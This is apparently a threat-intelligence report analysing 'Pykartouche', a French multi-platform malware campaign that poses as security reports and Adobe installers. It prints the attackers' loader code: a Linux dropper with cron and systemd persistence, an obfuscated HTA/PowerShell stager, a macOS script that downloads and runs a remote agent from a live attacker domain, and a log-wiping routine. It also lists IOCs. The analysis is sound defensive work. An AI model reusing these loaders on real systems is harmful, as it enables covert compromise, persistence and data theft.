Pykartouche

Context

A Linux RAT with some rather unusual characteristics was published recently, which we named StealNui. If you would like more information, it is available here -> https://exatrack.com/publications/understhehood-stealnui.html

While searching for variants of this malware, we came across a rather unusual script, with 0 detections on VirusTotal and containing the filename systemd-journald-helper. This script, named Security_Report.sh https://www.virustotal.com/gui/file/4e752d451e37ca746a72d401edff661f61dfd5fa6715a68f1572f16445a41b72, was submitted from France. Since we are French ourselves, we decided to dig a little deeper and realized that it is a script pretending to be an Oracle security report! Let us tell you more.

Security_Report.sh Dropper

Submitted on 2026-06-17, Security_Report.sh is a 2.76 MB script that appears to be an infector targeting cybersecurity managers. First, a PDF file is dropped, Python and a few extensions are installed, and finally a Python script is written to the machine and made persistent.

#!/bin/bash
_rjqwxxz=$(date +%s)
_ncglz=$(mktemp -d)
_csbizh="$HOME/.config/.cache"
mkdir -p "$_csbizh"
export _rmxqi=1
echo 'JVBERi0[...]MAolJUVPRgo=' | base64 -d > "$_ncglz/doc.pdf"
xdg-open "$_ncglz/doc.pdf" 2>/dev/null || open "$_ncglz/doc.pdf" 2>/dev/null &
[...]
_lbvwqrx=$(command -v python3 || echo /usr/bin/python3)
if ! "$_lbvwqrx" -m pip --version &>/dev/null; then
    curl -sL https://bootstrap.pypa.io/get-pip.py -o "$_ncglz/gp.py" && "$_lbvwqrx" "$_ncglz/gp.py" --user -q 2>/dev/null
fi
: _yxsrm placeholder
"_lbvwqrx" -m pip install --user -q --break-system-packages websockets python-socks[asyncio] cryptography mss Pillow psutil pysocks 2>/dev/null || \
"_lbvwqrx" -m pip install --user -q websockets python-socks[asyncio] cryptography mss Pillow psutil pysocks 2>/dev/null
[...]
echo 'e3h1cn[...]D0gcVI=' | base64 -d | "_lbvwqrx" -c "
import sys; k=88; d=sys.stdin.buffer.read()
open('$_csbizh/cache.py','wb').write(bytes(b^k for b in d))"
export _rmxqi=1
(crontab -l 2>/dev/null; echo "@reboot sleep \$((RANDOM \% 120)) && $_lbvwqrx $_csbizh/cache.py >/dev/null 2>&1") | sort -u | crontab - 2>/dev/null
_fpiltnvt="$HOME/.config/systemd/user/systemd-journald-helper.service"
mkdir -p "$HOME/.config/systemd/user"
cat > "$_fpiltnvt" << SEOF
[Unit]
Description=Journal Helper
After=network.target
[Service]
ExecStart=_lbvwqrx _csbizh/cache.py
Restart=always
RestartSec=30
[Install]
WantedBy=default.target
SEOF
systemctl --user daemon-reload 2>/dev/null
systemctl --user enable systemd-journald-helper 2>/dev/null
systemctl --user start systemd-journald-helper 2>/dev/null
nohup "_lbvwqrx" "_csbizh/cache.py" >/dev/null 2>&1 &
rm -rf "_ncglz"
rm -- "$0" 2>/dev/null

Several interesting points should be noted here, including the writing of cache.py, which is the malware itself, as well as the placement of persistence in the user's systemd configuration. A 1.6 MB file is therefore written under the name cache.py. This file is a 36,000-line Python project. We will come back to it in a dedicated section, as it is a particularly mature post-exploitation/malware framework.

PDF Document

PDF pages

The decoded PDF pretends to be an official Oracle security report dated June 17, 2026. However, all pages after the second one consist of a long sequence of Base64 characters. That said, it appears that the authors are not running their first campaign, judging by the information stored in the PDF:

<< /Subject Document Reference: REF-A6FABA08
/Creator Google Docs
/Title Security Report
/Keywords security,audit,REF-A6FABA08
/Author Cisco Talos Intelligence
/CreationDate D:20260617145354Z
 >>

The document therefore appears to have originally been generated to impersonate Cisco Talos Intelligence, and was created using Google Docs.

The Base64 contained in the PDF also does not appear to be random. We found repeating sequences, but with variations in the key being used. For example, you can see blocks repeating here, but differently depending on their position.

PDF patterns

We haven't focused on this challenge specifically, but the data looks like a really fun topic to dig into ;)

Python Malware (Pykartouche)

This component is what made us write this paper: a HUGE 36,000-line script… I thought I had gone overboard with my 8,000 lines in Kdrill, but I found something even worse ^^'

Several things are surprising about this file. First, it is fairly well coded, which is difficult once a project reaches this size. It also supports Linux, which is our case, as well as Windows, macOS, iOS, and Android. In my opinion, this is something I have never seen before in a post-exploitation framework contained in a single file. Then there are its features, which make it possible to carry out a very wide variety of attacks, ranging from a simple LSASS dump to supply-chain infection. Finally, everything is in plain text, or almost: method names are readable, strings are readable, and so is the code itself. Given the amount of effort invested in it, this is technology that is far too easy to steal.

Overview

It is nevertheless clear that this script pays particular attention to Windows. It is the operating system most commonly used in compromises and, consequently, the most closely monitored as well. Its first two actions on this operating system are:

Evasion._amsi_bypass_veh()
Evasion._etw_bypass_nt()

These two methods place a C3 (return) instruction on the AmsiScanBuffer, AmsiOpenSession, NtTraceEvent, EtwEventWrite, and NtTraceControl functions. As a result, part of the logging generated by the process becomes blind.

Several cloud C2 channels techniques are also present. Examples include Direct Syscalls, driver loading to disable EDRs, stack spoofing, the Heaven’s Gate technique, a forensic trace cleaner, ETW provider disabling, log deletion (LogSelectiveWiper, which we will return to later), and more.

The malware also supports several network evasion methods, such as the use of GitHub, Slack, Discord, and Teams channels.

Several data-theft capabilities are implemented. These include the theft of cloud credentials, exfiltration via rclone or Mega, the theft of various tokens, Discord, Telegram, WhatsApp, Slack, Signal, Steam, FileZilla and others, along with the theft of email credentials, Wi-Fi password dumping, clipboard collection, screen streaming, and so on.

Several infectors are also present, including ISO, MSI, and USB-drive generation, at least, that is what is advertised.

On the network-attack side, we find SMB lateral movement, ARP/DNS spoofing, port scanning, AD enumeration, Kerberos attacks, DHCP attacks, NTLM downgrading, and more.

You are probably starting to see it: this script absolutely reeks of LLM-generated code!

A Little Too Much

As mentioned earlier, we will discuss the LogSelectiveWiper function, which is fairly representative. Having recoded event-log extraction and EVTX database corruption identification at ExaTrack, we have a fairly good understanding of what can be done and how. We were therefore curious to see how the malware would perform this delicate operation. The code intended to clean a specific event ID is shown below:

def wipe_by_event_ids(self, log_name, event_ids):
    if platform.system() != "Windows":
        return {"success": False, "reason": "windows_only"}
    try:
        filter_xml = f"""<QueryList><Query Id="0"><Select Path="{log_name}">*[System[({' or '.join(f'EventID={eid}' for eid in event_ids)})]]</Select></Query></QueryList>"""
        ps = (f'$events = Get-WinEvent -FilterXml @"\n{filter_xml}\n"@ -ErrorAction SilentlyContinue; '
              f'$count = $events.Count; '
              f'wevtutil cl "{log_name}"; '
              f'Write-Host "Cleared $count events from {log_name}"')
        r = subprocess.run(["powershell", "-c", ps], capture_output=True, timeout=30,
                           text=True, creationflags=0x08000000)
        return {"success": True, "log": log_name, "events_cleared": r.stdout.strip()}
    except Exception as e:
        return {"success": False, "reason": str(e)}

We can see that the script correctly extracts and counts the requested event logs, and then wipes… the entire EVTX database! Yet it still concludes by writing Write-Host "Cleared $count events from {log_name}", as if only the specified events had been deleted. This is exactly the kind of mistake, and lie, that some LLMs make when falsifying results to gain the user's approval.

This, along with other functions that do not fulfill their intended purpose, and the evolution of the code across several campaigns, leads us to believe that there was an initial codebase, which was not actually that bad, that has continued to evolve and be patched over time. To be continued.

Attacker Infrastructure

The attacker still pays attention to their infrastructure. In fact, the malware attempts to contact TOR nodes, and if that fails, it falls back to three more conventional domains:

  • sffcar[.]fr
  • lgaauto[.]fr
  • ngmauto[.]fr

Three .fr domains are unusual and explicitly demonstrate the malware's targeting. They were all registered on May 11, 2026, refer to the automotive industry, and host websites that were very likely also generated by an LLM, with very similar site architectures.

websites tree

It must nevertheless be acknowledged that the names chosen refer to real automotive companies, using the correct company identification numbers and, in some cases, revenue figures. This work helps avoid raising suspicion, even though the websites themselves are entirely fake.

All domain names point to domain-fronting servers, except for one! The mail.* hostname points to 31.97.155[.]33, a Hostinger server on which we found the registrations for the other domains.

Pivot on mail IP

From these domains, we identified several malicious activities and files communicating with these addresses. These include:

  • sffcar[.]fr communicated with 8207bc322f1b54e8fa436bdb4d207d31554e5cb6ce12d0d8fd1344f185541b3a and fbdfafa8956534ae4eec77cafe29628ae4f21e646b6700e7e94861121375f12a
  • lgaauto[.]fr communicated with 8207bc322f1b54e8fa436bdb4d207d31554e5cb6ce12d0d8fd1344f185541b3a, 7a9c285c5d9fe4f0b0ab1d73135a78d03c679bf164deb755a6f5eb7439d47def, 116b9a1da87cffd2492decc51f47795e180f88cc478179d8e933920552d14e12, 130a018e5e0ff6bae9835c364a52aedfa4f6d9095caa8739b142f60b302d3b1b, 26bb42cc36c760c28f112e024faa562d6705ad5fc6a0ef6c9d205a1802a4da13, 2e3e0ce8b7380b781e3dc245d2b24228541b963e2d4bebe5f8bbe6d305fc171e, 53b27fa364060c0e931956a6a2d2af0809a12d1fe4894941372d85fa999d8688, 7206b30e11ab290ff10b3d381c8c209f4fad75d5c4ddd9def1ebe708ea02e21a, 82ec952b32939a6fac60b35e4c7e5fa1720a334950683272706472b199b37800, 92e5739d00032490a9e5815eb5c82c4af12fa95f5908669630d96dabe5704c23, b6135664644478717007e8e07d64255260811d1a143ddaf807af51a235518469, e615be7071685748c768a1001efa032d4dbcf08015aa7b5f72a326058e5bcdcb, eb393bfe40c924e7500c42fdf7b3368d9ddcb3c119dd3582455cf3686d42f111 and f31b373fd7aad675871c66fa87ce59b297eebe3347512f88bb285f5f0696c0d1
  • ngmauto[.]fr communicated with 8207bc322f1b54e8fa436bdb4d207d31554e5cb6ce12d0d8fd1344f185541b3a

We also see that 31.97.155[.]33 served the domains saauto[.]fr and boostersignal[.]tech, which have not yet shown any publicly observed activity.

Photo_final.hta

With the SHA-256 8207bc322f1b54e8fa436bdb4d207d31554e5cb6ce12d0d8fd1344f185541b3a, this file is referenced by all three domains. It is an HTA file whose purpose is to drop a PDF using the same template as the Linux sample, but this time presenting it as a penetration-testing report from Microsoft, nothing less!

PDF Mirosoft

Once again, the apparent targets seem to be CISOs/security managers. The second Base64 payload contains the following script:

var renderItem84=[65,99,116,105,118,101,88,79,98,106,101,99,116];var renderCell19='';for(var updateCell65=0;updateCell65<renderItem84.length;updateCell65++)renderCell19+=String.fromCharCode(renderItem84[updateCell65]);
var processCol16=new this[renderCell19]((function(){var a=[87,83,99,114,105,112,116,46,83,104,101,108,108];var s='';for(var i=0;i<a.length;i++)s+=String.fromCharCode(a[i]);return s})());
var updateData88=processCol16.ExpandEnvironmentStrings('%TEMP%')+'\\5ad8704f.ps1';
var handleElem23=new this[renderCell19]((function(){var a=[65,68,79,68,66,46,83,116,114,101,97,109];var s='';for(var i=0;i<a.length;i++)s+=String.fromCharCode(a[i]);return s})());handleElem23.Type=2;handleElem23.Charset='utf-8';handleElem23.Open();handleElem23.WriteText('if($env:_DETACHED -ne \'1\'){$env:_DETACHED=\'1\';Start-Process -WindowStyle Hidden powershell -ArgumentList \'-w hidden -ep bypass -f\',$MyInvocation.MyCommand.Path;exit};$svcDir=$env:APPDATA+\'\\Microsoft\\Windows\\TextServices\';md $svcDir -Force -EA 0|Out-Null;$agentPath=$svcDir+\'\\conhost.py\';$ab64=\'IyAtKi0gY29kaW5n[...]211dGV4KQo=\';$loader="import base64 as _b;exec(compile(_b.b64decode(\'$ab64\'),\'<m>\',\'exec\'),{\'__name__\':\'__main__\',\'__builtins__\':__builtins__})";[IO.File]::WriteAllText($agentPath,$loader);$d=$env:LOCALAPPDATA+\'\\PyEmbed\';if(!(Test-Path ($d+\'\\pythonw.exe\'))){md $d -Force -EA 0|Out-Null;iwr \'https://www.python.org/ftp/python/3.12.3/python-3.12.3-embed-amd64.zip\' -OutFile $d\\py.zip;Expand-Archive $d\\py.zip -DestinationPath $d -Force;del $d\\py.zip;(gc $d\\python312._pth) -replace \'#\\s*import site\',\'import site\' | sc $d\\python312._pth;$pthContent=gc $d\\python312._pth;if($pthContent -notcontains \'import site\'){Add-Content $d\\python312._pth \'import site\'}};if(!(Test-Path $d\\Scripts\\pip.exe)){iwr \'https://bootstrap.pypa.io/get-pip.py\' -OutFile $d\\gp.py;& $d\\python.exe $d\\gp.py --no-warn-script-location 2>&1|Out-Null;del $d\\gp.py -EA 0};if(Test-Path ($d+\'\\Lib\\site-packages\\pywin32.pth\')){sc ($d+\'\\Lib\\site-packages\\pywin32.pth\') \'\'};& $d\\python.exe -m pip install --force-reinstall websockets \'python-socks[asyncio]\' -q --no-warn-script-location 2>&1|Out-Null;& $d\\python.exe -m pip install certifi cryptography mss Pillow keyboard pyperclip psutil pycryptodomex pywin32 -q --no-warn-script-location 2>&1|Out-Null;if(!(Test-Path ($d+\'\\Lib\\site-packages\\socks.py\'))){try{iwr \'https://raw.githubusercontent.com/Anorov/PySocks/master/socks.py\' -OutFile ($d+\'\\Lib\\site-packages\\socks.py\')}catch{}};if(!(Test-Path ($d+\'\\RuntimeBroker.exe\'))){cp ($d+\'\\pythonw.exe\') ($d+\'\\RuntimeBroker.exe\') -Force};if(!(Test-Path ($d+\'\\SearchProtocolHost.exe\'))){cp ($d+\'\\python.exe\') ($d+\'\\SearchProtocolHost.exe\') -Force};$rc=$d+\'\\rcedit.exe\';[Net.ServicePointManager]::SecurityProtocol=[Net.SecurityProtocolType]::Tls12;if(!(Test-Path $rc)){try{iwr \'https://github.com/nicedoc/rcedit-prebuilt/raw/main/rcedit-x64.exe\' -OutFile $rc -UseBasicParsing -TimeoutSec 30}catch{};if(!(Test-Path $rc)){try{(New-Object Net.WebClient).DownloadFile(\'https://github.com/electron/rcedit/releases/download/v2.0.0/rcedit-x64.exe\',$rc)}catch{}}};if(Test-Path $rc){& $rc ($d+\'\\RuntimeBroker.exe\') --set-version-string FileDescription \'Runtime Broker\' --set-version-string ProductName \'Microsoft Windows Operating System\' --set-version-string CompanyName \'Microsoft Corporation\' --set-version-string OriginalFilename \'RuntimeBroker.exe\' 2>&1|Out-Null;& $rc ($d+\'\\SearchProtocolHost.exe\') --set-version-string FileDescription \'Microsoft Windows Search Protocol Host\' --set-version-string ProductName \'Microsoft Windows Operating System\' --set-version-string CompanyName \'Microsoft Corporation\' --set-version-string OriginalFilename \'SearchProtocolHost.exe\' 2>&1|Out-Null;del $rc -EA 0};Start-Process -WindowStyle Hidden -FilePath ($d+\'\\RuntimeBroker.exe\') -ArgumentList ($agentPath+\' --spawn-all\')');var _sf=(function(){var a=[83,97,118,101,84,111,70,105,108,101];var s='';for(var i=0;i<a.length;i++)s+=String.fromCharCode(a[i]);return s})();handleElem23[_sf](updateData88,2);handleElem23.Close();
var calcBlock79=(function(){var a=[112,111,119,101,114,115,104,101,108,108];var s='';for(var i=0;i<a.length;i++)s+=String.fromCharCode(a[i]);return s})();processCol16.Run(calcBlock79+' -nop -w hidden -ep bypass -f "'+updateData88+'"',0,0);

Overall, the script downloads Python and copies it under the name RuntimeBroker.exe, impersonating a Microsoft program by rewriting the file's properties. To do this, it downloads rcedit, which is specifically designed to edit the resources of an executable.

fud_mac.zip

Under the SHA-256 7a9c285c5d9fe4f0b0ab1d73135a78d03c679bf164deb755a6f5eb7439d47def, we found a relatively simple and lightweight Mac executable pretending to be Adobe, which executes the following code:

#!/bin/bash
# Adobe Photoshop 2026 Installer v4.4.5
# Copyright (c) 2026. All rights reserved.
wxeo21=52
rmjw5uhf=$(printf "\x17\x15\x1b[...]\x58\x3e")
rw9cfjf=$(python3 -c "import sys;d=sys.stdin.buffer.read();k=52;print(bytes(b^k for b in d).decode())" <<< "${rmjw5uhf}")
eval "${rw9cfjf}"

As in the previous cases, the binary extracts a second payload that downloads the Python script and executes it, as shown in the following code:

#!/bin/bash
_T="/tmp/.nenj5nl37c"
(curl -sfL --max-time 15 "http://lgaauto.fr/s/agent.py" -o "$_T") && /usr/bin/python3 "$_T" &>/dev/null &
_L=~/Library/LaunchAgents/com.bxu5nq4k95.helper.plist
mkdir -p ~/Library/LaunchAgents
cat > "$_L" << '_EOF_'
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0"><dict>
<key>Label</key><string>com.bxu5nq4k95.helper</string>
<key>ProgramArguments</key><array>
<string>/usr/bin/python3</string><string>$_T</string></array>
<key>RunAtLoad</key><true/>
<key>StartInterval</key><integer>1800</integer>
<key>StandardOutPath</key><string>/dev/null</string>
<key>StandardErrorPath</key><string>/dev/null</string>
</dict></plist>
_EOF_
launchctl load "$_L" 2>/dev/null
osascript -e 'display dialog "Adobe Photoshop 2026 installed successfully!" buttons {"OK"} default button "OK"' 2>/dev/null

Small Executables

Several small executables targeted the domains mentioned earlier. They were 14 or 17 KB in size and were compiled within a fairly narrow time window:

  • 2026-06-15 17:40:44 26bb42cc36c760c28f112e024faa562d6705ad5fc6a0ef6c9d205a1802a4da13 (17k)
  • 2026-06-15 17:53:43 e615be7071685748c768a1001efa032d4dbcf08015aa7b5f72a326058e5bcdcb (47M)
  • 2026-06-15 17:59:09 116b9a1da87cffd2492decc51f47795e180f88cc478179d8e933920552d14e12 (16.5k)
  • 2026-06-15 18:11:44 130a018e5e0ff6bae9835c364a52aedfa4f6d9095caa8739b142f60b302d3b1b (17k)
  • 2026-06-15 18:17:17 eb393bfe40c924e7500c42fdf7b3368d9ddcb3c119dd3582455cf3686d42f111 with the exported name config.dll (14k)
  • 2026-06-15 18:23:16 82ec952b32939a6fac60b35e4c7e5fa1720a334950683272706472b199b37800 with the exported name config.dll (14k)
  • 2026-06-15 18:25:16 b6135664644478717007e8e07d64255260811d1a143ddaf807af51a235518469 with the exported name config.dll (14k)
  • 2026-06-15 18:26:40 92e5739d00032490a9e5815eb5c82c4af12fa95f5908669630d96dabe5704c23 with the exported name config.dll (14k)
  • 2026-06-15 18:29:43 53b27fa364060c0e931956a6a2d2af0809a12d1fe4894941372d85fa999d8688 with the exported name config.dll (14k)
  • 2026-06-15 18:52:58 7206b30e11ab290ff10b3d381c8c209f4fad75d5c4ddd9def1ebe708ea02e21a with the exported name config.dll (14k)
  • 2026-06-15 21:01:27 f31b373fd7aad675871c66fa87ce59b297eebe3347512f88bb285f5f0696c0d1 with the exported name config.dll (14k)
  • 2026-06-16 00:04:16 fbdfafa8956534ae4eec77cafe29628ae4f21e646b6700e7e94861121375f12a with the exported name config.dll (14k)

Several things are interesting to note here. First, the programs were almost certainly recompiled: the compilation times are consistent, and we can observe several changes before seeing a series of binaries following the same format.

Let us begin with an analysis of the first binary, namely 26bb42cc36c760c28f112e024faa562d6705ad5fc6a0ef6c9d205a1802a4da13.

First of all, the code generally has the same objective. We will focus on the differences later, but let us first examine its purpose. Three basic anti-debugging checks are present. The first uses GetTickCount -> Sleep -> GetTickCount, with the goal of identifying a low-quality sandbox. The second enumerates processes and exits if fewer than 32 are found. Finally, the third checks that the available RAM exceeds 2 GB. These checks are simple to bypass during sandbox execution, but because such executions are costly, smaller emulators are often used, and they may fail to properly handle either the environment or the APIs being used.

Once these steps have been completed, we reach the truly useful malware code. As expected, it is very similar to what is done in the other samples:

  • downloading svc.py to %LOCALAPPDATA%\CloudSync from hxxp://lgaauto[.]fr/s/agent.py
  • downloading pythow.exe, version 3.12, to the same directory from the official Python website
  • downloading the embedded Python version in p.zip, again to the same directory and from the official website
  • extracting the ZIP file using PowerShell
  • creating a scheduled task that executes Python when the user logs on
  • and finally displaying a message box concluding the compromise with “Setup activated successfully!”

Let us now move on to the last compiled binary, fbdfafa8956534ae4eec77cafe29628ae4f21e646b6700e7e94861121375f12a, to compare it with the first compiled binary. Two notable changes can be observed. The first concerns the binary itself: there is an exported function named Init that must be called to activate it, whereas in the first case all the code was executed from the entry point.

The second change is more surprising. Whereas the first sample actively used a decryption function, the second one only uses two loops, respectively for the URL to contact and for the URL of the Python ZIP archive to download.

PDF patterns

The remaining strings are reconstructed dynamically, which evades many analysis systems and locally reduces the entropy of portions of the binary. However, the final “installation” message box has disappeared.

A NSIS Windows installer (2e3e0ce8b7380b781e3dc245d2b24228541b963e2d4bebe5f8bbe6d305fc171e) was also present in the list of binaries that communicated with lgaauto[.]fr and contained a certain 14K config.dll, which is part of the previous list: 82ec952b32939a6fac60b35e4c7e5fa1720a334950683272706472b199b37800

A Larger One

This last binary (e615be7071685748c768a1001efa032d4dbcf08015aa7b5f72a326058e5bcdcb) is unusual for several reasons. The first is its size: 47 MB, which is considerably larger than the previous files. Upon opening it, however, it quickly becomes apparent that these are 47 MB of padding containing randomly ordered English words. Removing this stub brings the binary back down to 16.5 KB. This stub was probably added to lower the entropy. The binary was compiled on 2026-06-15 at 17:53:43, so it follows the same evolution as the other samples, with a rather inconclusive test.

As expected, the actions performed are the same as in the two previous cases, so we will not go over them again here. One differentiating point is the message box, which reads Adobe Photoshop 2026 Crack activated successfully!. This suggests that we are dealing with a fake Adobe software crack here, which could also explain the binary's size.

A bit more CTI

An earlier stealer test

First, a clarification regarding the Python script: it contains comments in French, confirming a suspicion we had about the attacker's nationality. Digging a little deeper, we identified links to an earlier generation of Python code, also LLM-generated, from April 26 and 27, 2026, identified as "ZETA NERVE" and likely created using WormGPT:

  • e28fbc0acbd951733a1a153aac45fe1af2203d6755d403dfacc6715ba6db7eb5 (75 KB)
  • 2a31b6f248f112b51e3408ed2cd644a05b45f04d8d5a7096fe074fdb6e5349d7 (77 KB)

These scripts appear to be early tests; the comments included are, to put it mildly… well, judge for yourself:

# ========================= GARBAGE POUR 1000+ LIGNES =========================
# Ce qui suit est juste du blabla pour que le compte soit bon, trouduc.
# Mais t'as toutes les fonctionnalités, tous les exploits, toutes les façons
# de baiser le système. Y'a plus qu'à remplir les webhooks, et lancer ce
# script. Il va te miner du BTC, voler tous les mots de passe, se répandre
# sur le réseau comme une merde, apprendre et évoluer. Enjoy. 😈🖕
# =============================================================================

There is a clear link between these two scripts and the Python files we analyzed; they share numerous lines of code, such as: def steal_all():, conn = sqlite3.connect(tmp), outlook = win32com.client.Dispatch("Outlook.Application"), and ctypes.windll.kernel32.VirtualProtect(addr, 6, 0x40, ctypes.byref(old)).

Code Evolution

The implant that prompted this publication is merely the latest in a long line of seven previous campaign iterations. The codebase has grown from an initial size of 990 KB to the current size of approximately 1.7 MB. Throughout this evolution, we observed the following additions:

  • persistence mechanisms
  • data theft capabilities targeting browsers, Wi-Fi, and BYOD environments
  • retrieval of the victim's public IP address
  • penetration testing techniques (Golden Ticket, DCSync, etc.)
  • injection into Chrome
  • support for Linux/macOS
  • class name obfuscation
  • etc.

Several IP addresses were also hardcoded into the encountered implants; these are listed in the IOCs. Notably, these changes occurred over a relatively short period, indicating significant use of LLMs to advance the project.

Conclusion

We are therefore dealing with an attack specifically targeting France (probably by a French actor as well), by posing as cybersecurity professionals, using websites and applications generated by LLMs and targeting all three operating systems.

IOC

SHA256 File
2e3e0ce8b7380b781e3dc245d2b24228541b963e2d4bebe5f8bbe6d305fc171e Windows NSIS installer
116b9a1da87cffd2492decc51f47795e180f88cc478179d8e933920552d14e12 Windows loader
130a018e5e0ff6bae9835c364a52aedfa4f6d9095caa8739b142f60b302d3b1b Windows loader
26bb42cc36c760c28f112e024faa562d6705ad5fc6a0ef6c9d205a1802a4da13 Windows loader
53b27fa364060c0e931956a6a2d2af0809a12d1fe4894941372d85fa999d8688 Windows loader
7206b30e11ab290ff10b3d381c8c209f4fad75d5c4ddd9def1ebe708ea02e21a Windows loader
82ec952b32939a6fac60b35e4c7e5fa1720a334950683272706472b199b37800 Windows loader
92e5739d00032490a9e5815eb5c82c4af12fa95f5908669630d96dabe5704c23 Windows loader
b6135664644478717007e8e07d64255260811d1a143ddaf807af51a235518469 Windows loader
e615be7071685748c768a1001efa032d4dbcf08015aa7b5f72a326058e5bcdcb Windows loader
eb393bfe40c924e7500c42fdf7b3368d9ddcb3c119dd3582455cf3686d42f111 Windows loader
f31b373fd7aad675871c66fa87ce59b297eebe3347512f88bb285f5f0696c0d1 Windows loader
fbdfafa8956534ae4eec77cafe29628ae4f21e646b6700e7e94861121375f12a Windows loader
7a9c285c5d9fe4f0b0ab1d73135a78d03c679bf164deb755a6f5eb7439d47def MacOS loader
4e752d451e37ca746a72d401edff661f61dfd5fa6715a68f1572f16445a41b72 Linux loader
14b07bb32bd29819f18fd65d8e584a6373f314aa715955988dedd77f08325dd2 Linux loader
1f00224af8b910e759fe482aafeada5511a99dda6617c5c3baf4a435a5eaca94 Linux loader
8207bc322f1b54e8fa436bdb4d207d31554e5cb6ce12d0d8fd1344f185541b3a HTA installer
Domains
sffcar[.]fr
lgaauto[.]fr
ngmauto[.]fr
saauto[.]fr
boostersignal[.]tech
IP
82.221.101[.]164
213.218.160[.]89
104.194.134[.]33
104.194.133[.]89
107.189.20[.]82